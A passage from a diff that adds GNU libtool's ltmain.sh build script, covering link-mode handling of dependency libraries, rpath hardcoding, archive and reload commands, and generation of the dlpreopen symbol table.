in $lib_search_path $sys_lib_search_path $shlib_search_path; do + potential_libs=`ls $i/$libname[.-]* 2>/dev/null` + for potent_lib in $potential_libs; do + potlib="$potent_lib" # see symlink-check above in file_magic test + if eval $echo \"$potent_lib\" 2>/dev/null \ + | ${SED} 10q \ + | $EGREP "$match_pattern_regex" > /dev/null; then + newdeplibs="$newdeplibs $a_deplib" + a_deplib="" + break 2 + fi + done + done + fi + if test -n "$a_deplib" ; then + droppeddeps=yes + $echo + $echo "*** Warning: linker path does not have real file for library $a_deplib." + $echo "*** I have the capability to make that library automatically link in when" + $echo "*** you link to this library. But I can only do this if you have a" + $echo "*** shared version of the library, which you do not appear to have" + $echo "*** because I did check the linker path looking for a file starting" + if test -z "$potlib" ; then + $echo "*** with $libname but no candidates were found. (...for regex pattern test)" + else + $echo "*** with $libname and none of the candidates passed a file format test" + $echo "*** using a regex pattern. Last file checked: $potlib" + fi + fi + else + # Add a -L argument. + newdeplibs="$newdeplibs $a_deplib" + fi + done # Gone through all deplibs. + ;; + none | unknown | *) + newdeplibs="" + tmp_deplibs=`$echo "X $deplibs" | $Xsed -e 's/ -lc$//' \ + -e 's/ -[LR][^ ]*//g'` + if test "X$allow_libtool_libs_with_static_runtimes" = "Xyes" ; then + for i in $predeps $postdeps ; do + # can't use Xsed below, because $i might contain '/' + tmp_deplibs=`$echo "X $tmp_deplibs" | ${SED} -e "1s,^X,," -e "s,$i,,"` + done + fi + if $echo "X $tmp_deplibs" | $Xsed -e 's/[ ]//g' \ + | grep . >/dev/null; then + $echo + if test "X$deplibs_check_method" = "Xnone"; then + $echo "*** Warning: inter-library dependencies are not supported in this platform." + else + $echo "*** Warning: inter-library dependencies are not known to be supported." + fi + $echo "*** All declared inter-library dependencies are being dropped." + droppeddeps=yes + fi + ;; + esac + versuffix=$versuffix_save + major=$major_save + release=$release_save + libname=$libname_save + name=$name_save + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + newdeplibs=`$echo "X $newdeplibs" | $Xsed -e 's/ -lc / -framework System /'` + ;; + esac + + if test "$droppeddeps" = yes; then + if test "$module" = yes; then + $echo + $echo "*** Warning: libtool could not satisfy all declared inter-library" + $echo "*** dependencies of module $libname. Therefore, libtool will create" + $echo "*** a static module, that should work as long as the dlopening" + $echo "*** application is linked with the -dlopen flag." + if test -z "$global_symbol_pipe"; then + $echo + $echo "*** However, this would only work if libtool was able to extract symbol" + $echo "*** lists from a program, using \`nm' or equivalent, but libtool could" + $echo "*** not find such a program. So, this module is probably useless." + $echo "*** \`nm' from GNU binutils and a full rebuild may help." + fi + if test "$build_old_libs" = no; then + oldlibs="$output_objdir/$libname.$libext" + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + else + $echo "*** The inter-library dependencies that have been dropped here will be" + $echo "*** automatically added whenever a program is linked with this library" + $echo "*** or is declared to -dlopen it." + + if test "$allow_undefined" = no; then + $echo + $echo "*** Since this library must not contain undefined symbols," + $echo "*** because either the platform does not support them or" + $echo "*** it was explicitly requested with -no-undefined," + $echo "*** libtool will only create a static version of it." + if test "$build_old_libs" = no; then + oldlibs="$output_objdir/$libname.$libext" + build_libtool_libs=module + build_old_libs=yes + else + build_libtool_libs=no + fi + fi + fi + fi + # Done checking deplibs! + deplibs=$newdeplibs + fi + + + # move library search paths that coincide with paths to not yet + # installed libraries to the beginning of the library search list + new_libs= + for path in $notinst_path; do + case " $new_libs " in + *" -L$path/$objdir "*) ;; + *) + case " $deplibs " in + *" -L$path/$objdir "*) + new_libs="$new_libs -L$path/$objdir" ;; + esac + ;; + esac + done + for deplib in $deplibs; do + case $deplib in + -L*) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$new_libs $deplib" ;; + esac + ;; + *) new_libs="$new_libs $deplib" ;; + esac + done + deplibs="$new_libs" + + + # All the library-specific variables (install_libdir is set above). + library_names= + old_library= + dlname= + + # Test again, we may have decided not to build it any more + if test "$build_libtool_libs" = yes; then + if test "$hardcode_into_libs" = yes; then + # Hardcode the library paths + hardcode_libdirs= + dep_rpath= + rpath="$finalize_rpath" + test "$mode" != relink && rpath="$compile_rpath$rpath" + for libdir in $rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + dep_rpath="$dep_rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) perm_rpath="$perm_rpath $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + if test -n "$hardcode_libdir_flag_spec_ld"; then + eval dep_rpath=\"$hardcode_libdir_flag_spec_ld\" + else + eval dep_rpath=\"$hardcode_libdir_flag_spec\" + fi + fi + if test -n "$runpath_var" && test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + rpath="$rpath$dir:" + done + eval "$runpath_var='$rpath\$$runpath_var'; export $runpath_var" + fi + test -n "$dep_rpath" && deplibs="$dep_rpath $deplibs" + fi + + shlibpath="$finalize_shlibpath" + test "$mode" != relink && shlibpath="$compile_shlibpath$shlibpath" + if test -n "$shlibpath"; then + eval "$shlibpath_var='$shlibpath\$$shlibpath_var'; export $shlibpath_var" + fi + + # Get the real and link names of the library. + eval shared_ext=\"$shrext_cmds\" + eval library_names=\"$library_names_spec\" + set dummy $library_names + realname="$2" + shift; shift + + if test -n "$soname_spec"; then + eval soname=\"$soname_spec\" + else + soname="$realname" + fi + if test -z "$dlname"; then + dlname=$soname + fi + + lib="$output_objdir/$realname" + linknames= + for link + do + linknames="$linknames $link" + done + + # Use standard objects if they are pic + test -z "$pic_flag" && libobjs=`$echo "X$libobjs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + if test "$always_export_symbols" = yes || test -n "$export_symbols_regex"; then + $show "generating symbol list for \`$libname.la'" + export_symbols="$output_objdir/$libname.exp" + $run $rm $export_symbols + cmds=$export_symbols_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + if len=`expr "X$cmd" : ".*"` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + $show "$cmd" + $run eval "$cmd" || exit $? + skipped_export=false + else + # The command line is too long to execute in one step. + $show "using reloadable object file for export list..." + skipped_export=: + # Break out early, otherwise skipped_export may be + # set to false by a later but shorter cmd. + break + fi + done + IFS="$save_ifs" + if test -n "$export_symbols_regex"; then + $show "$EGREP -e \"$export_symbols_regex\" \"$export_symbols\" > \"${export_symbols}T\"" + $run eval '$EGREP -e "$export_symbols_regex" "$export_symbols" > "${export_symbols}T"' + $show "$mv \"${export_symbols}T\" \"$export_symbols\"" + $run eval '$mv "${export_symbols}T" "$export_symbols"' + fi + fi + fi + + if test -n "$export_symbols" && test -n "$include_expsyms"; then + $run eval '$echo "X$include_expsyms" | $SP2NL >> "$export_symbols"' + fi + + tmp_deplibs= + for test_deplib in $deplibs; do + case " $convenience " in + *" $test_deplib "*) ;; + *) + tmp_deplibs="$tmp_deplibs $test_deplib" + ;; + esac + done + deplibs="$tmp_deplibs" + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + else + gentop="$output_objdir/${outputname}x" + generated="$generated $gentop" + + func_extract_archives $gentop $convenience + libobjs="$libobjs $func_extract_archives_result" + fi + fi + + if test "$thread_safe" = yes && test -n "$thread_safe_flag_spec"; then + eval flag=\"$thread_safe_flag_spec\" + linker_flags="$linker_flags $flag" + fi + + # Make a backup of the uninstalled library when relinking + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}U && $mv $realname ${realname}U)' || exit $? + fi + + # Do each of the archive commands. + if test "$module" = yes && test -n "$module_cmds" ; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + eval test_cmds=\"$module_expsym_cmds\" + cmds=$module_expsym_cmds + else + eval test_cmds=\"$module_cmds\" + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + eval test_cmds=\"$archive_expsym_cmds\" + cmds=$archive_expsym_cmds + else + eval test_cmds=\"$archive_cmds\" + cmds=$archive_cmds + fi + fi + + if test "X$skipped_export" != "X:" && + len=`expr "X$test_cmds" : ".*" 2>/dev/null` && + test "$len" -le "$max_cmd_len" || test "$max_cmd_len" -le -1; then + : + else + # The command line is too long to link in one step, link piecewise. + $echo "creating reloadable object files..." + + # Save the value of $output and $libobjs because we want to + # use them later. If we have whole_archive_flag_spec, we + # want to use save_libobjs as it was before + # whole_archive_flag_spec was expanded, because we can't + # assume the linker understands whole_archive_flag_spec. + # This may have to be revisited, in case too many + # convenience libraries get linked in and end up exceeding + # the spec. + if test -z "$convenience" || test -z "$whole_archive_flag_spec"; then + save_libobjs=$libobjs + fi + save_output=$output + output_la=`$echo "X$output" | $Xsed -e "$basename"` + + # Clear the reloadable object creation command queue and + # initialize k to one. + test_cmds= + concat_cmds= + objlist= + delfiles= + last_robj= + k=1 + output=$output_objdir/$output_la-${k}.$objext + # Loop over the list of objects to be linked. + for obj in $save_libobjs + do + eval test_cmds=\"$reload_cmds $objlist $last_robj\" + if test "X$objlist" = X || + { len=`expr "X$test_cmds" : ".*" 2>/dev/null` && + test "$len" -le "$max_cmd_len"; }; then + objlist="$objlist $obj" + else + # The command $test_cmds is almost too long, add a + # command to the queue. + if test "$k" -eq 1 ; then + # The first file doesn't have a previous command to add. + eval concat_cmds=\"$reload_cmds $objlist $last_robj\" + else + # All subsequent reloadable object files will link in + # the last one created. + eval concat_cmds=\"\$concat_cmds~$reload_cmds $objlist $last_robj\" + fi + last_robj=$output_objdir/$output_la-${k}.$objext + k=`expr $k + 1` + output=$output_objdir/$output_la-${k}.$objext + objlist=$obj + len=1 + fi + done + # Handle the remaining objects by creating one last + # reloadable object file. All subsequent reloadable object + # files will link in the last one created. + test -z "$concat_cmds" || concat_cmds=$concat_cmds~ + eval concat_cmds=\"\${concat_cmds}$reload_cmds $objlist $last_robj\" + + if ${skipped_export-false}; then + $show "generating symbol list for \`$libname.la'" + export_symbols="$output_objdir/$libname.exp" + $run $rm $export_symbols + libobjs=$output + # Append the command to create the export file. + eval concat_cmds=\"\$concat_cmds~$export_symbols_cmds\" + fi + + # Set up a command to remove the reloadable object files + # after they are used. + i=0 + while test "$i" -lt "$k" + do + i=`expr $i + 1` + delfiles="$delfiles $output_objdir/$output_la-${i}.$objext" + done + + $echo "creating a temporary reloadable object file: $output" + + # Loop through the commands generated above and execute them. + save_ifs="$IFS"; IFS='~' + for cmd in $concat_cmds; do + IFS="$save_ifs" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + libobjs=$output + # Restore the value of output. + output=$save_output + + if test -n "$convenience" && test -n "$whole_archive_flag_spec"; then + eval libobjs=\"\$libobjs $whole_archive_flag_spec\" + fi + # Expand the library linking commands again to reset the + # value of $libobjs for piecewise linking. + + # Do each of the archive commands. + if test "$module" = yes && test -n "$module_cmds" ; then + if test -n "$export_symbols" && test -n "$module_expsym_cmds"; then + cmds=$module_expsym_cmds + else + cmds=$module_cmds + fi + else + if test -n "$export_symbols" && test -n "$archive_expsym_cmds"; then + cmds=$archive_expsym_cmds + else + cmds=$archive_cmds + fi + fi + + # Append the command to remove the reloadable object files + # to the just-reset $cmds. + eval cmds=\"\$cmds~\$rm $delfiles\" + fi + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || { + lt_exit=$? + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv ${realname}U $realname)' + fi + + exit $lt_exit + } + done + IFS="$save_ifs" + + # Restore the uninstalled library and exit + if test "$mode" = relink; then + $run eval '(cd $output_objdir && $rm ${realname}T && $mv $realname ${realname}T && $mv "$realname"U $realname)' || exit $? + + if test -n "$convenience"; then + if test -z "$whole_archive_flag_spec"; then + $show "${rm}r $gentop" + $run ${rm}r "$gentop" + fi + fi + + exit $EXIT_SUCCESS + fi + + # Create links to the real library. + for linkname in $linknames; do + if test "$realname" != "$linkname"; then + $show "(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)" + $run eval '(cd $output_objdir && $rm $linkname && $LN_S $realname $linkname)' || exit $? + fi + done + + # If -module or -export-dynamic was specified, set the dlname. + if test "$module" = yes || test "$export_dynamic" = yes; then + # On all known operating systems, these are identical. + dlname="$soname" + fi + fi + ;; + + obj) + if test -n "$deplibs"; then + $echo "$modename: warning: \`-l' and \`-L' are ignored for objects" 1>&2 + fi + + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + $echo "$modename: warning: \`-dlopen' is ignored for objects" 1>&2 + fi + + if test -n "$rpath"; then + $echo "$modename: warning: \`-rpath' is ignored for objects" 1>&2 + fi + + if test -n "$xrpath"; then + $echo "$modename: warning: \`-R' is ignored for objects" 1>&2 + fi + + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info' is ignored for objects" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for objects" 1>&2 + fi + + case $output in + *.lo) + if test -n "$objs$old_deplibs"; then + $echo "$modename: cannot build library object \`$output' from non-libtool objects" 1>&2 + exit $EXIT_FAILURE + fi + libobj="$output" + obj=`$echo "X$output" | $Xsed -e "$lo2o"` + ;; + *) + libobj= + obj="$output" + ;; + esac + + # Delete the old objects. + $run $rm $obj $libobj + + # Objects from convenience libraries. This assumes + # single-version convenience libraries. Whenever we create + # different ones for PIC/non-PIC, this we'll have to duplicate + # the extraction. + reload_conv_objs= + gentop= + # reload_cmds runs $LD directly, so let us get rid of + # -Wl from whole_archive_flag_spec + wl= + + if test -n "$convenience"; then + if test -n "$whole_archive_flag_spec"; then + eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\" + else + gentop="$output_objdir/${obj}x" + generated="$generated $gentop" + + func_extract_archives $gentop $convenience + reload_conv_objs="$reload_objs $func_extract_archives_result" + fi + fi + + # Create the old-style object. + reload_objs="$objs$old_deplibs "`$echo "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test + + output="$obj" + cmds=$reload_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + + # Exit if we aren't doing a library object file. + if test -z "$libobj"; then + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + exit $EXIT_SUCCESS + fi + + if test "$build_libtool_libs" != yes; then + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + # Create an invalid libtool object if no PIC, so that we don't + # accidentally link it into a program. + # $show "echo timestamp > $libobj" + # $run eval "echo timestamp > $libobj" || exit $? + exit $EXIT_SUCCESS + fi + + if test -n "$pic_flag" || test "$pic_mode" != default; then + # Only do commands if we really have different PIC objects. + reload_objs="$libobjs $reload_conv_objs" + output="$libobj" + cmds=$reload_cmds + save_ifs="$IFS"; IFS='~' + for cmd in $cmds; do + IFS="$save_ifs" + eval cmd=\"$cmd\" + $show "$cmd" + $run eval "$cmd" || exit $? + done + IFS="$save_ifs" + fi + + if test -n "$gentop"; then + $show "${rm}r $gentop" + $run ${rm}r $gentop + fi + + exit $EXIT_SUCCESS + ;; + + prog) + case $host in + *cygwin*) output=`$echo $output | ${SED} -e 's,.exe$,,;s,$,.exe,'` ;; + esac + if test -n "$vinfo"; then + $echo "$modename: warning: \`-version-info' is ignored for programs" 1>&2 + fi + + if test -n "$release"; then + $echo "$modename: warning: \`-release' is ignored for programs" 1>&2 + fi + + if test "$preload" = yes; then + if test "$dlopen_support" = unknown && test "$dlopen_self" = unknown && + test "$dlopen_self_static" = unknown; then + $echo "$modename: warning: \`AC_LIBTOOL_DLOPEN' not used. Assuming no dlopen support." + fi + fi + + case $host in + *-*-rhapsody* | *-*-darwin1.[012]) + # On Rhapsody replace the C library is the System framework + compile_deplibs=`$echo "X $compile_deplibs" | $Xsed -e 's/ -lc / -framework System /'` + finalize_deplibs=`$echo "X $finalize_deplibs" | $Xsed -e 's/ -lc / -framework System /'` + ;; + esac + + case $host in + *darwin*) + # Don't allow lazy linking, it breaks C++ global constructors + if test "$tagname" = CXX ; then + compile_command="$compile_command ${wl}-bind_at_load" + finalize_command="$finalize_command ${wl}-bind_at_load" + fi + ;; + esac + + + # move library search paths that coincide with paths to not yet + # installed libraries to the beginning of the library search list + new_libs= + for path in $notinst_path; do + case " $new_libs " in + *" -L$path/$objdir "*) ;; + *) + case " $compile_deplibs " in + *" -L$path/$objdir "*) + new_libs="$new_libs -L$path/$objdir" ;; + esac + ;; + esac + done + for deplib in $compile_deplibs; do + case $deplib in + -L*) + case " $new_libs " in + *" $deplib "*) ;; + *) new_libs="$new_libs $deplib" ;; + esac + ;; + *) new_libs="$new_libs $deplib" ;; + esac + done + compile_deplibs="$new_libs" + + + compile_command="$compile_command $compile_deplibs" + finalize_command="$finalize_command $finalize_deplibs" + + if test -n "$rpath$xrpath"; then + # If the user specified any rpath flags, then add them. + for libdir in $rpath $xrpath; do + # This is the magic to use -rpath. + case "$finalize_rpath " in + *" $libdir "*) ;; + *) finalize_rpath="$finalize_rpath $libdir" ;; + esac + done + fi + + # Now hardcode the library paths + rpath= + hardcode_libdirs= + for libdir in $compile_rpath $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + rpath="$rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$perm_rpath " in + *" $libdir "*) ;; + *) perm_rpath="$perm_rpath $libdir" ;; + esac + fi + case $host in + *-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*) + testbindir=`$echo "X$libdir" | $Xsed -e 's*/lib$*/bin*'` + case :$dllsearchpath: in + *":$libdir:"*) ;; + *) dllsearchpath="$dllsearchpath:$libdir";; + esac + case :$dllsearchpath: in + *":$testbindir:"*) ;; + *) dllsearchpath="$dllsearchpath:$testbindir";; + esac + ;; + esac + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + compile_rpath="$rpath" + + rpath= + hardcode_libdirs= + for libdir in $finalize_rpath; do + if test -n "$hardcode_libdir_flag_spec"; then + if test -n "$hardcode_libdir_separator"; then + if test -z "$hardcode_libdirs"; then + hardcode_libdirs="$libdir" + else + # Just accumulate the unique libdirs. + case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in + *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*) + ;; + *) + hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir" + ;; + esac + fi + else + eval flag=\"$hardcode_libdir_flag_spec\" + rpath="$rpath $flag" + fi + elif test -n "$runpath_var"; then + case "$finalize_perm_rpath " in + *" $libdir "*) ;; + *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;; + esac + fi + done + # Substitute the hardcoded libdirs into the rpath. + if test -n "$hardcode_libdir_separator" && + test -n "$hardcode_libdirs"; then + libdir="$hardcode_libdirs" + eval rpath=\" $hardcode_libdir_flag_spec\" + fi + finalize_rpath="$rpath" + + if test -n "$libobjs" && test "$build_old_libs" = yes; then + # Transform all the library objects into standard objects. + compile_command=`$echo "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + finalize_command=`$echo "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + fi + + dlsyms= + if test -n "$dlfiles$dlprefiles" || test "$dlself" != no; then + if test -n "$NM" && test -n "$global_symbol_pipe"; then + dlsyms="${outputname}S.c" + else + $echo "$modename: not configured to extract global symbols from dlpreopened files" 1>&2 + fi + fi + + if test -n "$dlsyms"; then + case $dlsyms in + "") ;; + *.c) + # Discover the nlist of each of the dlfiles. + nlist="$output_objdir/${outputname}.nm" + + $show "$rm $nlist ${nlist}S ${nlist}T" + $run $rm "$nlist" "${nlist}S" "${nlist}T" + + # Parse the name list into a source file. + $show "creating $output_objdir/$dlsyms" + + test -z "$run" && $echo > "$output_objdir/$dlsyms" "\ +/* $dlsyms - symbol resolution table for \`$outputname' dlsym emulation. */ +/* Generated by $PROGRAM - GNU $PACKAGE $VERSION$TIMESTAMP */ + +#ifdef __cplusplus +extern \"C\" { +#endif + +/* Prevent the only kind of declaration conflicts we can make. */ +#define lt_preloaded_symbols some_other_symbol + +/* External symbol declarations for the compiler. */\ +" + + if test "$dlself" = yes; then + $show "generating symbol list for \`$output'" + + test -z "$run" && $echo ': @PROGRAM@ ' > "$nlist" + + # Add our own program objects to the symbol list. + progfiles=`$echo "X$objs$old_deplibs" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP` + for arg in $progfiles; do + $show "extracting global C symbols from \`$arg'" + $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" + done + + if test -n "$exclude_expsyms"; then + $run eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T' + $run eval '$mv "$nlist"T "$nlist"' + fi + + if test -n "$export_symbols_regex"; then + $run eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T' + $run eval '$mv "$nlist"T "$nlist"' + fi + + # Prepare the list of exported symbols + if test -z "$export_symbols"; then + export_symbols="$output_objdir/$outputname.exp" + $run $rm $export_symbols + $run eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"' + case $host in + *cygwin* | *mingw* ) + $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' + $run eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"' + ;; + esac + else + $run eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"' + $run eval 'grep -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T' + $run eval 'mv "$nlist"T "$nlist"' + case $host in + *cygwin* | *mingw* ) + $run eval "echo EXPORTS "'> "$output_objdir/$outputname.def"' + $run eval 'cat "$nlist" >> "$output_objdir/$outputname.def"' + ;; + esac + fi + fi + + for arg in $dlprefiles; do + $show "extracting global C symbols from \`$arg'" + name=`$echo "$arg" | ${SED} -e 's%^.*/%%'` + $run eval '$echo ": $name " >> "$nlist"' + $run eval "$NM $arg | $global_symbol_pipe >> '$nlist'" + done + + if test -z "$run"; then + # Make sure we have at least an empty file. + test -f "$nlist" || : > "$nlist" + + if test -n "$exclude_expsyms"; then + $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T + $mv "$nlist"T "$nlist" + fi + + # Try sorting and uniquifying the output. + if grep -v "^: " < "$nlist" | + if sort -k 3 /dev/null 2>&1; then + sort -k 3 + else + sort +2 + fi | + uniq > "$nlist"S; then + : + else + grep -v "^: " < "$nlist" > "$nlist"S + fi + + if test -f "$nlist"S; then + eval "$global_symbol_to_cdecl"' < "$nlist"S >> "$output_objdir/$dlsyms"' + else + $echo '/* NONE */' >> "$output_objdir/$dlsyms" + fi + + $echo >> "$output_objdir/$dlsyms" "\ + +#undef lt_preloaded_symbols + +#if defined (__STDC__) && __STDC__ +# define lt_ptr void * +#else +# define lt_ptr char * +# define const +#endif + +/* The mapping between symbol names and symbols. */ +" + + case $host in + *cygwin* | *mingw* ) + $echo >> "$output_objdir/$dlsyms" "\ +/* DATA imports from DLLs on WIN32 can't be const, because + runtime relocations are performed -- see ld's documentation + on pseudo-relocs */ +struct { +" + ;; + * ) + $echo >> "$output_objdir/$dlsyms" "\ +const struct { +" + ;; + esac + + + $echo >> "$output_objdir/$dlsyms" "\ + const char *name; + lt_ptr address; +} +lt_preloaded_symbols[] = +{\ +" + + eval "$global_symbol_to_c_name_address" < "$nlist" >> "$output_objdir/$dlsyms" + + $echo >> "$output_objdir/$dlsyms" "\ + {0, (lt_ptr) 0} +}; + +/* This works around a problem in FreeBSD linker */ +#ifdef FREEBSD_WORKAROUND +static const void *lt_preloaded_setup() { + return lt_preloaded_symbols; +} +#endif + +#ifdef __cplusplus +} +#endif\ +" + fi + + pic_flag_for_symtable= + case $host in + # compiling the symbol table file with pic_flag works around + # a FreeBSD bug that causes programs to crash when -lm is + # linked before any other PIC object. But we must not use + # pic_flag when linking with -static. The problem exists in + # FreeBSD 2.2.6 and is fixed in FreeBSD 3.1. + *-*-freebsd2*|*-*-freebsd3.0*|*-*-freebsdelf3.0*) + case "$compile_command " in + *" -static "*) ;; + *) pic_flag_for_symtable=" $pic_flag -DFREEBSD_WORKAROUND";; + esac;; + *-*-hpux*) + case "$compile_command " in + *" -static "*) ;; + *) pic_flag_for_symtable=" $pic_flag";; + esac + esac + + # Now compile the dynamic symbol file. + $show "(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable \"$dlsyms\")" + $run eval '(cd $output_objdir && $LTCC $LTCFLAGS -c$no_builtin_flag$pic_flag_for_symtable "$dlsyms")' || exit $? + + # Clean up the generated files. + $show "$rm $output_objdir/$dlsyms $nlist ${nlist}S ${nlist}T" + $run $rm "$output_objdir/$dlsyms" "$nlist" "${nlist}S" "${nlist}T" + + # Transform the symbol file into the correct name. + case $host in + *cygwin* | *mingw* ) + if test -f "$output_objdir/${outputname}.def" ; then + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}.def $output_objdir/${outputname}S.${objext}%"` + else + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + fi + ;; + * ) + compile_command=`$echo "X$compile_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s%@SYMFILE@%$output_objdir/${outputname}S.${objext}%"` + ;; + esac + ;; + *) + $echo "$modename: unknown suffix for \`$dlsyms'" 1>&2 + exit $EXIT_FAILURE + ;; + esac + else + # We keep going just in case the user didn't refer to + # lt_preloaded_symbols. The linker will fail if global_symbol_pipe + # really was required. + + # Nullify the symbol file. + compile_command=`$echo "X$compile_command" | $Xsed -e "s% @SYMFILE@%%"` + finalize_command=`$echo "X$finalize_command" | $Xsed -e "s% @SYMFILE@%%"` + fi + + if test "$need_relink" = no || test "$build_libtool_libs" != yes; then + # Replace the output file specification. + compile_command=`$echo "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` + link_command="$compile_command$compile_rpath" + + # We have no uninstalled library dependencies, so finalize right now. + $show "$link_command" + $run eval "$link_command" + exit_status=$? + + # Delete the generated files. + if test -n "$dlsyms"; then + $show "$rm $output_objdir/${outputname}S.${objext}" + $run $rm "$output_objdir/${outputname}S.${objext}" + fi + + exit $exit_status + fi + + if test -n "$shlibpath_var"; then + # We should set the shlibpath_var + rpath= + for dir in $temp_rpath; do + case $dir in + [\\/]* | [A-Za-z]:[\\/]*) + # Absolute path. + rpath="$rpath$dir:" + ;; + *) + # Relative path: add a thisdir entry. + rpath="$rpath\$thisdir/$dir:" + ;; + esac + done + temp_rpath="$rpath" + fi + + if test -n "$compile_shlibpath$finalize_shlibpath"; then + compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command" + fi + if test -n "$finalize_shlibpath"; then + finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command" + fi + + compile_var= + finalize_var= + if test -n "$runpath_var"; then + if test -n "$perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $perm_rpath; do + rpath="$rpath$dir:" + done + compile_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + if test -n "$finalize_perm_rpath"; then + # We should set the runpath_var. + rpath= + for dir in $finalize_perm_rpath; do + rpath="$rpath$dir:" + done + finalize_var="$runpath_var=\"$rpath\$$runpath_var\" " + fi + fi + + if test "$no_install" = yes; then + # We don't need to create a wrapper script. + link_command="$compile_var$compile_command$compile_rpath" + # Replace the output file specification. + link_command=`$echo "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'` + # Delete the old output file. + $run $rm $output + # Link the executable 